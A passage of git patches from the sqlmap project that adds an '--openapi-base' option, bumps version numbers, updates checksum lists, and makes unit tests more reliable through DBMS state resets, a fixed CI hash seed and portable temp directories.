-549,6 +552,8 @@ def _setOpenApiTargets(): logger.warning(warnMsg) else: warnMsg = "no usable targets derived from the OpenAPI/Swagger specification" + if not conf.openApiBase: + warnMsg += " (if it uses relative 'servers', provide a base with '--openapi-base' or fetch it by URL)" logger.warning(warnMsg) def _findPageForms(): diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index d449259df..8ead48604 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -20,6 +20,7 @@ optDict = { "googleDork": "string", "configFile": "string", "openApiFile": "string", + "openApiBase": "string", }, "Request": { diff --git a/lib/core/settings.py b/lib/core/settings.py index 50535bacb..042d958d3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.17" +VERSION = "1.10.7.18" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index e8ddc2d4f..9081fe27d 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -145,7 +145,10 @@ def cmdLineParser(argv=None): help="Load options from a configuration INI file") target.add_argument("--openapi", dest="openApiFile", - help="Derive targets from an OpenAPI/Swagger specification (file or URL)") + help="Derive targets from OpenAPI/Swagger (file/URL)") + + target.add_argument("--openapi-base", dest="openApiBase", + help="Base URL for a host-less OpenAPI/Swagger spec") # Request options request = parser.add_argument_group("Request", "These options can be used to specify how to connect to the target URL") From 732d16453819e532a993fb1e70c67bf74e332afc Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 22:02:57 +0200 Subject: [PATCH 126/165] Fixing CI/CD errors --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- tests/test_library.py | 6 ++++++ 3 files changed, 9 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 4b922ab0a..0c28db3dd 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -3871d1b0d2ec82e2b0ed4705199519a473f92dbbf0db911e96ca613774961021 lib/core/settings.py +efadf8b3de6c132219b026eb80fa61756787df0753fa00aff420f60c92b17a52 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -628,7 +628,7 @@ b23bf934dafe54c241761517a7b8c139159aa4b941db10832a626a51fea81e35 tests/test_htt d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9 tests/test_identifiers_output.py 5372270b7ed82b62f273c2e9bd1f7ecd8605371e66cd0ad70663762cb08d42f1 tests/test_inference_engine.py 0fc7bd9bae4fbd09f51027780b7a8e72eab73810dccdfdf87ed9e489e6e671c9 tests/test_ldap.py -4952caf2cc825b5ed96a032e0a88e6919b7556e736bd8e30a558f6c4f82c014a tests/test_library.py +571d7761d60a2919985d065893af68eac5d12286f491eaba434c1d8587f913a0 tests/test_library.py caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_misc.py 790b78c600b61eb0bdd6e07e14b1db3eb2ddd5fc5d4edb9e975f85ced38558c7 tests/test_nosql.py 88a8c7ce0ba0ca721dffbcf9351cd07f7e471ad2fe667a10608c18952b09868d tests/test_openapi_drift.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 042d958d3..2caa66593 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.18" +VERSION = "1.10.7.19" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_library.py b/tests/test_library.py index 73b41007d..8437238e5 100644 --- a/tests/test_library.py +++ b/tests/test_library.py @@ -114,15 +114,21 @@ class TestReportErrorCapture(unittest.TestCase): """ def test_errors_reach_the_report(self): + import logging from lib.core.data import logger from lib.utils.api import setupReportCollector, _assembleData, ReportErrorRecorder, REPORT_TASKID + # represent a normal run: the shared test bootstrap silences the logger (CRITICAL+1), which would + # otherwise gate the ERROR record before it reaches the recorder (order-dependent flakiness) + saved_level = logger.level + logger.setLevel(logging.ERROR) collector = setupReportCollector() try: logger.error("boom %s", "here") result = _assembleData(collector, REPORT_TASKID) self.assertTrue(any("boom here" in _ for _ in result["error"])) finally: + logger.setLevel(saved_level) for handler in list(logger.handlers): if isinstance(handler, ReportErrorRecorder): logger.removeHandler(handler) From 71d9c6d0f4f061ee969aee6d89b3ff82c6eb69d2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 22:31:01 +0200 Subject: [PATCH 127/165] Stabilization of unittests --- .github/workflows/tests.yml | 4 +++ data/txt/sha256sums.txt | 58 ++++++++++++++++---------------- lib/core/settings.py | 2 +- tests/_testutils.py | 16 +++++++++ tests/test_agent.py | 6 +++- tests/test_brute.py | 6 +++- tests/test_common.py | 11 ++++-- tests/test_databases_enum.py | 6 +++- tests/test_dbms_enum.py | 6 +++- tests/test_dialect.py | 6 +++- tests/test_dns_engine.py | 10 ++++-- tests/test_dump_format.py | 6 +++- tests/test_dump_jsonl.py | 6 +++- tests/test_entries.py | 6 +++- tests/test_error_engine.py | 6 +++- tests/test_filesystem.py | 6 +++- tests/test_fingerprint.py | 12 ++++++- tests/test_generic_takeover.py | 6 +++- tests/test_graphql.py | 6 ++++ tests/test_identifiers_output.py | 6 +++- tests/test_inference_engine.py | 6 +++- tests/test_misc.py | 6 +++- tests/test_parse_modules.py | 6 +++- tests/test_property.py | 6 +++- tests/test_report.py | 6 ++++ tests/test_search_enum.py | 6 +++- tests/test_target_parsing.py | 10 ++++-- tests/test_techniques.py | 6 +++- tests/test_union_engine.py | 6 +++- tests/test_users_enum.py | 6 +++- tests/test_xpath.py | 3 ++ 31 files changed, 200 insertions(+), 58 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 367bec214..a6bedc1e6 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -17,6 +17,10 @@ jobs: runs-on: ${{ matrix.os }} timeout-minutes: 30 + env: + # deterministic dict/set iteration order run-to-run (guards against hash-order flakiness in CI) + PYTHONHASHSEED: "0" + strategy: matrix: include: diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 0c28db3dd..c654360a5 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -efadf8b3de6c132219b026eb80fa61756787df0753fa00aff420f60c92b17a52 lib/core/settings.py +de1ffd738b35e31eb95467eda8a230cc81ff4d21e48e4c02c29da09299823126 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -586,86 +586,86 @@ dcdeed9ee285e63cf06baf8347e3db7f210ef25a63869bab78ce1ec6898ae191 tamper/unional 0694e721b07b8242245688be5c7951a3a22f512ed73776a998885e4b1bc82bc7 tamper/versionedmorekeywords.py ce1b6bf8f296de27014d6f21aa8b3df9469d418740cd31c93d1f5e36d6c509cf tamper/xforwardedfor.py 44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724 tests/__init__.py -d16977d057c28888aa41500f79a19789cadef693cb8b7d9a3bca55b983ce2266 tests/test_agent.py +0e9054da5d1fed1ddfc982b8f559914237f65d9be5e595c3218fcd236dfa7212 tests/test_agent.py 138381e05a860272fedab780e6c38ab74c59c879048b11b909d23f8df654352a tests/test_api.py feb763ddcbf4f32822372ca53f8c71c754af7b72510ef06e1e9c77927fc90b10 tests/test_bigarray.py -36bcb68483d824db5d05870fab62f1907221bf256826b734302fbc15a9231c42 tests/test_brute.py +aeefe699f477e77ec4fb46c2692a1ea04cd89ad9cce62e8857d13e3bc0606e9d tests/test_brute.py 27ad87c0ea377e0657bd6f6a4eaa0e9756aa9d28ec0483bdadeb3f66dcc4660d tests/test_charset.py 7596fc69678304923b5c945c0fd9b8ee62a2dfc7fb14ccb6dc7af30893dc8012 tests/test_checks.py 9e678a56e16211c49ab4995b6c658d3f122bfa3b357d9e17ff38f5a489ace6ad tests/test_cloak.py 2ec894f49ca9bd750a23ead16dae176bcbc57d18ec5847fa4a5eeb886d75c1bd tests/test_common_helpers.py -cdacb37cbe5667fded00abe62a822e11c917e9cb5c3f664b7aa1a8d738412ed4 tests/test_common.py +d436ad4c99be71d5faadb37f63d96a498e7e2b84f257ac9c7965b2ccd999e9e9 tests/test_common.py 899bc085e96d68f8a8cbe0d7e55863e98ef37b73ab0e4234f7d969e31ea2d23a tests/test_comparison_json.py 7b72d4f850bbd059b8e95fceb45a58470354cb7270c99b0e9981aaa189af20d1 tests/test_comparison.py a7c3cf9f7820f377ebfdecf9383ebebc2932dd4a2a531a2b4496071f9d973c1c tests/test_compat.py 75357efd92f3f57cc05244a0f40985108077479fd192caaaa81e14f61c13783d tests/test_convert.py -2bd0faeaf7db1d73dd0caab3bde9900fdaa1f38fd736a6e238cd56ff9bc67b66 tests/test_databases_enum.py +6e3c08e1f76dd6c782d2ddc505b4e1a751b381c88ad91f79a95bf49f9c28a28f tests/test_databases_enum.py c17544be5e945dc8c4fbb5c3b922da8eceec30b0fb239c32fb5f40e1660a197f tests/test_datafiles.py 9c240d4f796e56376374d4ce46f358ceb7d48cc6a7427760c5bfb89ff01cb545 tests/test_datatypes.py -8a1edb6dbc000e412ba5cc598e024b669fc76ec0a8fc32136808e6325a018f70 tests/test_dbms_enum.py +7cf63166206d543ff4423e1b5bda3ec3212805b0aeaf95d877117df7eb79c8ec tests/test_dbms_enum.py 3804eb2d730220360f9dc07d5994eb64e9f65acf3b0d8648df8df2a2177ba8fd tests/test_decodepage.py 180e5fd3f75fadf7ac1135f99797314e2cf1f8ae6dced02edfb18ccba43c0148 tests/test_deps.py fa85881aa8d082a65aeacb2b03fcb5d2abb1daa9a02ee24ff048d54fbc904b90 tests/test_dialectdbms.py -e40a49cfa73c45b3c3c6d1d1d00738861e270cb7a07b28f5a5356f9c7c800cf2 tests/test_dialect.py +41bb0981cb7372753dbaa328c8be3678d328b736e6b97f7bd2573b465753af01 tests/test_dialect.py 993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py -7f9180a53dbf0bb3e52801fdbfffd31f365a0bff77bf90e58d2ef63a0c23026f tests/test_dns_engine.py +62a4386524d0ef269cba3bd6dcadc5a2a11c0d2bdd198773b79bcd8589324328 tests/test_dns_engine.py ec58ba0849d90d2bb7580fe2b8b96cd8299ddfc25f14dc27d9de9d41f152c78a tests/test_dns_server.py -4556bb0bfa6fcd5b98552426c57c99942ee8274eaefec7c316fd64247e4fcd6a tests/test_dump_format.py -9cd5841349bc4db818658d12184929a96f7f279eff1f53ad18a54dbefbd6b276 tests/test_dump_jsonl.py +3dc788fd3adba8b6f766281e0a50025b1ee9150d80ab9a738c6c43f2eaf805b3 tests/test_dump_format.py +118d1987861ed0df978474329adce8c23009b3964210c13fbaf667e0019bbd15 tests/test_dump_jsonl.py 2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py -fe1211ce43a51cd8ec7dd3395aafda8d7313ff60e2ef013072ce9fa49ca4a242 tests/test_entries.py -bb6991260a994fcbe79e05febaa34affd5631d02299fbc626820addd5f6ea4f4 tests/test_error_engine.py -26730151abea598f193131c5d64ef92b531941972f3d6236f9951c3116030b1c tests/test_filesystem.py -16fba97cba6afe8af11aa30bcc4266f53b00f2530161e010af10b51db1509703 tests/test_fingerprint.py -20844dfc758e99b2f757906c51ef32aca0f699283ec5aa629158d3dc0fd279ea tests/test_generic_takeover.py -f1f38f8b8ca667caadcb027d1a20eb895be4ef0935511114db235e66903bb463 tests/test_graphql.py +f4c54b19a294bf392b23dc627781d50894c8e44ca4fe5d7315c98984a3e196a4 tests/test_entries.py +ed7df24ce154e4cbb4462874a38202794664d12b083845bbee9f80481ec9cf52 tests/test_error_engine.py +6f3c214128c7147307c70f0905a0d1aa8118cbbc95086c6fcadce13009fb4946 tests/test_filesystem.py +31fa778c7ee318169961d04ea7b93afc539c24b4114a6a3eaf45698fef57bb4b tests/test_fingerprint.py +abb6eef3d2d08b87b6210dde6dd1333d39da64f5abe5574240fa47efce7528f3 tests/test_generic_takeover.py +b7d59fe68af29d47dda1d7ad77e9b5c91ed50e9efbb976e62e0dc67dd11b3e17 tests/test_graphql.py 50b71422ee91b9a4864f4d5ce6c9bdf169dc5f57ed1db05c152eb010c282136b tests/test_gui_helpers.py 92648f2fe81e22c5726b198bbbda14961cd4d3294a0d9139dcea808b324142ac tests/test_har.py cc7677bc6c568c395112c1aa7d01e1d664e4d5940c86cb4d44987172864bae6f tests/test_hash_crack.py 0336c875dd2b6554bff6eafd746229e38c69ca8070cd933d45cf27c82ef3e05f tests/test_hashdb.py c04e8358fb6df45f69f2f26435c971acde280535bf304e84d30cf2681158c6a7 tests/test_hash.py b23bf934dafe54c241761517a7b8c139159aa4b941db10832a626a51fea81e35 tests/test_http2.py -d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9 tests/test_identifiers_output.py -5372270b7ed82b62f273c2e9bd1f7ecd8605371e66cd0ad70663762cb08d42f1 tests/test_inference_engine.py +139dcedb9093eb0404ce497549eb6ab7e83ae1e70df8eb42da74ab5a3e7d2a85 tests/test_identifiers_output.py +0a5736b86a47e66d47d44ecf7b8c7531417453fc3e976cd64e9865d3afba78f4 tests/test_inference_engine.py 0fc7bd9bae4fbd09f51027780b7a8e72eab73810dccdfdf87ed9e489e6e671c9 tests/test_ldap.py 571d7761d60a2919985d065893af68eac5d12286f491eaba434c1d8587f913a0 tests/test_library.py -caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_misc.py +d2f701f4c3a8621b937ddd322343df91e102af5424ab58675dec4dc7781035b4 tests/test_misc.py 790b78c600b61eb0bdd6e07e14b1db3eb2ddd5fc5d4edb9e975f85ced38558c7 tests/test_nosql.py 88a8c7ce0ba0ca721dffbcf9351cd07f7e471ad2fe667a10608c18952b09868d tests/test_openapi_drift.py a0d173bb595ffbd2b49ee7fb1519d9898aefc262f2565923c4fe41bbc06f57e0 tests/test_openapi.py 6e63ed05db0490148d1c8428d785a23b0d5d5a0f566cd397c9c4a8fe8a6ed7dc tests/test_option.py cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759 tests/test_pagecontent.py -7554a918309cf0f2cd8a63a3bb7659708f13beffbcd5ce498ece9f9167d55c97 tests/test_parse_modules.py +7297b791aed9278d9252a3ade688e67796eb5c9cc4d6b29e1d2b56d83aa20295 tests/test_parse_modules.py 0d52bf4b96eea2330553fdf7f875ed571e596d2f7a4b3648a2b53e44666f0c70 tests/test_payload_marking.py 6bfc8201724078bd9d6d559916ef73c9ff97e19b0f2948f37e588a49b027795f tests/test_payloads_structure.py d6ffa83bd56ae98e7f55307b72dd7ea4802bccea9a85bb8f062619fb0a88913e tests/test_progress.py -a6d013104601c0414628aff3d8b5b69bee3e6733781d8f8da880457d8b44bd3a tests/test_property.py +2d135eba3ad0fd091962d84742ebf67314fd3f89dcaaa1252b3e3d76fae7c9fd tests/test_property.py c4c6f500bb71c3e430da343a49e8c8b8b3c919f438b6e6130597ce68dd856487 tests/test_purge.py 2dfefb4bfaee3868152835502ec43da317c4f274b1d55cd2ef21e4f7390c9bea tests/test_replication.py -67a5241aeebc20eb1c20cfc490422a59af5179040824e5731bd785db2e6bf750 tests/test_report.py +427a543e17dfede42b9fbccc916fa0aecd93fb7bfb5c280de4c2bca87c5d8de5 tests/test_report.py 4723d3bdf9623a49972e1d7378168ae8efbeaa31fb11c35d83bb40cc135fa0a8 tests/test_request_basic.py cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b tests/test_safe2bin.py -5b6ce95dddbd07d0126224f4f066643938476e536e18b700ea5d916e1052a715 tests/test_search_enum.py +575ebc336be598858279094072cde1ac9b124109cd7397bd805decd1b0a616d4 tests/test_search_enum.py a1c6cda1e5b483f61e6a4f8ddd0b06a15ddaa3fd2119bfb9dbd9cc970d7a751d tests/test_settings_regex.py 29d0278e3718b0fee422d3f6bb85ca02560138d48cd76f9fe1f35ac19d96071b tests/test_sgmllib.py d3d991331096e16e5019de3d652e9fff92c09bd9f97c50b1c2c3ceb0ed49b17e tests/test_sqlparse.py 412a61053c2531cc0380b34dfd01d52bd118f6a6473728c069c467054c7e3c8e tests/test_ssti.py 8bcbf1091134dd0a62f6201f8b3645ed87b5ff2f7ba40a87231a29dac412591f tests/test_strings.py 8f1c5f0f337ecd26d35c5551060034e0aa33a62cce5385fc1227fdc485f6383e tests/test_tamper.py -67472bd71c20782cc0f738e2c2e674c29d6985669e14d15b69baef7d0e33de62 tests/test_target_parsing.py +b2b3a00254301e5e880e2e77351ebc47eed2c5280477915feedf780ea8cbd34f tests/test_target_parsing.py b3e13febe9e0ff6f97334f2868655bfdbaa18755e464a6dc4c6d424f513bad02 tests/test_targeturl.py -0e644bb7b25c183d0d689ea7be542d7a2ce780cc68067f89afb2ee095a79f762 tests/test_techniques.py +d7d8aaba1d22ee690c8da2c6e28cea0ab45b0d7a6915a5ae7f581c44d7121aab tests/test_techniques.py 639851dc68f62b559b200b09c308e64e453f414969940005bac75dc0ab07a6b6 tests/test_texthelpers.py f49bcce1df533ffa1acfd02af43faf6687b21eebda9362ceb1e5871b8cb37fd4 tests/test_threads.py -708b3c040f8b677a84020dd6f7c4242f77260b3c6d2697fe8189e1881b0e1365 tests/test_union_engine.py +8d23cb42cde68e0da2c4b47db367139d0c53363fef7493ae70b7f6636a1bbbc7 tests/test_union_engine.py 48b0ae4abe0fdde8ce4975c5cbf4c3514a2815021cb2e3a490a189bea5edfe78 tests/test_unpickle_security.py 4b646f513c6da1e33200184ed6eabe0aa345eb2e2a19598dc123e191168591bf tests/test_urls.py -eca021208e388b4d14c53f1e9f8a6e7d685e54ba572fb2a8487e6b620a20bcb5 tests/test_users_enum.py -045f05f958100adc883b3f56613c5f8002dd19d0752225397a1f771775cb2779 tests/_testutils.py +b03689c4dcca0e88a62a88784c61418f963c031d338a357dcc223560c8f9bd22 tests/test_users_enum.py +729b3a5e00fff2e2b6c3acd3fd3e970ac1985c0a6ad1829b23c4099bd409afa1 tests/_testutils.py 2364db35025a53ea4e5a0a80c034997642785f7e6d1566d0d0f1db959fe3c82e tests/test_utils.py 93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f tests/test_wafbypass.py 81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py -2698060e7f001e054e345512ce95be458d9902b913afa769398b53145475738a tests/test_xpath.py +9d6dd551b751ab38200ab190c744ec0a9afa798b37f83b0078a4325ab3f80aec tests/test_xpath.py 55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 2caa66593..fa05cc0ed 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.19" +VERSION = "1.10.7.20" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/_testutils.py b/tests/_testutils.py index 781f54749..a856b1ebc 100644 --- a/tests/_testutils.py +++ b/tests/_testutils.py @@ -98,6 +98,22 @@ def set_dbms(name): Backend.forceDbms(name) +def reset_dbms(): + """Clear any DBMS forced via set_dbms()/Backend, restoring the clean post-bootstrap state. + + A forced DBMS lives on the global `kb` singleton and is read by every dialect/agent path, so a + module that forces one without clearing it would leak that back-end into later test modules + (order-dependent flakiness). Modules that call set_dbms() should expose this as their + `tearDownModule` so the leak can never cross a module boundary. + """ + from lib.core.common import Backend + from lib.core.data import kb + from lib.core.settings import UNKNOWN_DBMS_VERSION + Backend.flushForcedDbms(force=True) # kb.forcedDbms = None; kb.stickyDBMS = False + kb.resolutionDbms = None + kb.dbmsVersion = [UNKNOWN_DBMS_VERSION] + + # --- property/fuzz testing harness (shared so individual test files don't each reinvent it) --- _PROPERTY_BASE = 0x51A1 diff --git a/tests/test_agent.py b/tests/test_agent.py index d49a7d76f..203e27896 100644 --- a/tests/test_agent.py +++ b/tests/test_agent.py @@ -34,7 +34,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.agent import agent @@ -766,3 +766,7 @@ class TestAgentWhereQuery(unittest.TestCase): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_brute.py b/tests/test_brute.py index 3d8143b91..c13395978 100644 --- a/tests/test_brute.py +++ b/tests/test_brute.py @@ -22,7 +22,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.data import conf, kb @@ -196,3 +196,7 @@ class TestBrute(DbmsStateMixin, unittest.TestCase): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_common.py b/tests/test_common.py index 87369fe42..73396f0ec 100644 --- a/tests/test_common.py +++ b/tests/test_common.py @@ -19,14 +19,16 @@ irrelevant. Temp files go to the session scratchpad and are removed. stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. """ +import atexit import base64 import os +import shutil import sys import tempfile import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.data import conf, kb, paths @@ -119,7 +121,8 @@ from lib.core.common import ( zeroDepthSearch, ) -SCRATCH = "/tmp/claude-1000/-tmp-tmp-oUnlQJzlQN/fcd55d25-6313-49ed-817e-dcbe7fc2bf22/scratchpad" +SCRATCH = tempfile.mkdtemp(prefix="sqlmap-tests-") # per-run temp dir (portable; replaces a stale hardcoded path) +atexit.register(lambda: shutil.rmtree(SCRATCH, ignore_errors=True)) def _write_temp(content, suffix): @@ -1714,3 +1717,7 @@ class TestCheckOldOptions(unittest.TestCase): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_databases_enum.py b/tests/test_databases_enum.py index 3bba88dde..13cc6a54a 100644 --- a/tests/test_databases_enum.py +++ b/tests/test_databases_enum.py @@ -21,7 +21,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() @@ -765,3 +765,7 @@ class TestDatabasesBruteForce(_DbBase): if __name__ == "__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_dbms_enum.py b/tests/test_dbms_enum.py index dff6a0465..973255063 100644 --- a/tests/test_dbms_enum.py +++ b/tests/test_dbms_enum.py @@ -24,7 +24,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.common import Backend @@ -720,3 +720,7 @@ class TestHSQLDBEnum(_EnumBaseB): if __name__ == "__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_dialect.py b/tests/test_dialect.py index 4cce55abf..5e8212763 100644 --- a/tests/test_dialect.py +++ b/tests/test_dialect.py @@ -20,7 +20,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.agent import agent @@ -105,3 +105,7 @@ class TestForgeUnionQuery(unittest.TestCase): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_dns_engine.py b/tests/test_dns_engine.py index 767a5019c..e1194142d 100644 --- a/tests/test_dns_engine.py +++ b/tests/test_dns_engine.py @@ -38,7 +38,7 @@ import time import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.agent import agent @@ -188,7 +188,7 @@ class _DnsCase(unittest.TestCase): finally: c.close() served[0] += len(chunk) - for _ in range(100): + for _ in range(500): # ~5s deadline (was ~1s) - loopback packet can lag on a loaded CI runner with self.server._lock: if any(host.encode() in r for r in self.server._requests): break @@ -313,7 +313,7 @@ class TestDnsLabelInvariant(_DnsCase): finally: c.close() served[0] += len(chunk) - for _ in range(100): + for _ in range(500): # ~5s deadline (was ~1s) - loopback packet can lag on a loaded CI runner with self.server._lock: matched = [r for r in self.server._requests if host.encode() in r] if matched: @@ -394,3 +394,7 @@ class TestDnsChannelDetection(_DnsCase): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_dump_format.py b/tests/test_dump_format.py index ce9076c6b..d3484c28f 100644 --- a/tests/test_dump_format.py +++ b/tests/test_dump_format.py @@ -27,7 +27,7 @@ import unittest from collections import OrderedDict as _PlainOrderedDict sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap +from _testutils import bootstrap, reset_dbms bootstrap() from lib.core.common import Backend @@ -408,3 +408,7 @@ class TestReplication(unittest.TestCase): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_dump_jsonl.py b/tests/test_dump_jsonl.py index 9dc5cac8a..515b68bf3 100644 --- a/tests/test_dump_jsonl.py +++ b/tests/test_dump_jsonl.py @@ -26,7 +26,7 @@ import unittest from collections import OrderedDict sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap +from _testutils import bootstrap, reset_dbms bootstrap() from lib.core.common import Backend @@ -165,3 +165,7 @@ class TestJsonlContract(_JsonlDumpCase): if __name__ == "__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_entries.py b/tests/test_entries.py index d54a92bbc..b4cb78dfb 100644 --- a/tests/test_entries.py +++ b/tests/test_entries.py @@ -22,7 +22,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() @@ -800,3 +800,7 @@ class TestEntriesInference(_EntriesBase): if __name__ == 